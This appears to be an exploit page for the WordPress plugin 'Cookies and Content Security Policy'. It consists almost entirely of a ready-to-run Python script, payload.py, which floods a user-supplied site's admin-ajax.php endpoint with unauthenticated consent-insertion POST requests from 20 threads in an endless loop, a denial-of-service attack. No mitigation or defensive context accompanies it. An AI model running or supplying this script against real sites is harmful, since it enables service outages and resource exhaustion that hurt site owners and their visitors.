Critical Security Vulnerability in the "Cookies and Content Security Policy"

payload.py

import requests
import threading
import time
from datetime import datetime

# Function to perform an AJAX DoS attack on a specified target URL
def ajax_dos_attack(target_url):
    # Data payload to be sent in the POST request
    data = {
        'action': 'cacsp_insert_consent_data',
        'accepted_cookies': 'necessary,experience,analytics,marketing',
        'expires': '365'
    }
    
    # Headers to simulate a browser making the request
    headers = {
        'User-Agent': 'Mozilla/5.0',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    # Infinite loop to continuously send POST requests
    while True:
        try:
            # Sending the POST request to the target's admin-ajax.php endpoint
            response = requests.post(
                f"{target_url}/wp-admin/admin-ajax.php", 
                data=data, 
                timeout=3
            )
            
            # Check the response status and print success or failure
            status = "✓" if response.status_code == 200 else "✗"
            print(f"[{datetime.now().strftime('%H:%M:%S')}] {status} {response.status_code}")
            
        except requests.exceptions.Timeout:
            # Handle timeout exceptions
            print(f"[{datetime.now().strftime('%H:%M:%S')}] Timeout - server did not respond")
        except Exception as e:
            # Handle any other exceptions and print the error
            print(f"[{datetime.now().strftime('%H:%M:%S')}] Error: {str(e)[:50]}")

# Main execution block
if __name__ == "__main__":
    # Prompt the user to input the target WordPress site's URL
    target = input("WordPress site URL (https://example.com): ")
    thread_count = 20  # Number of threads to run in parallel
    
    print(f"Starting DoS attack with {thread_count} concurrent threads...")
    print("Press Ctrl+C to stop")
    
    # Create and start the specified number of threads
    for i in range(thread_count):
        t = threading.Thread(target=ajax_dos_attack, args=(target,))
        t.daemon = True  # Set the thread as a daemon so it exits when the main program exits
        t.start()
    
    try:
        # Keep the main program running indefinitely
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        # Handle Ctrl+C interruption and stop the attack
        print("\nStopping the attack...")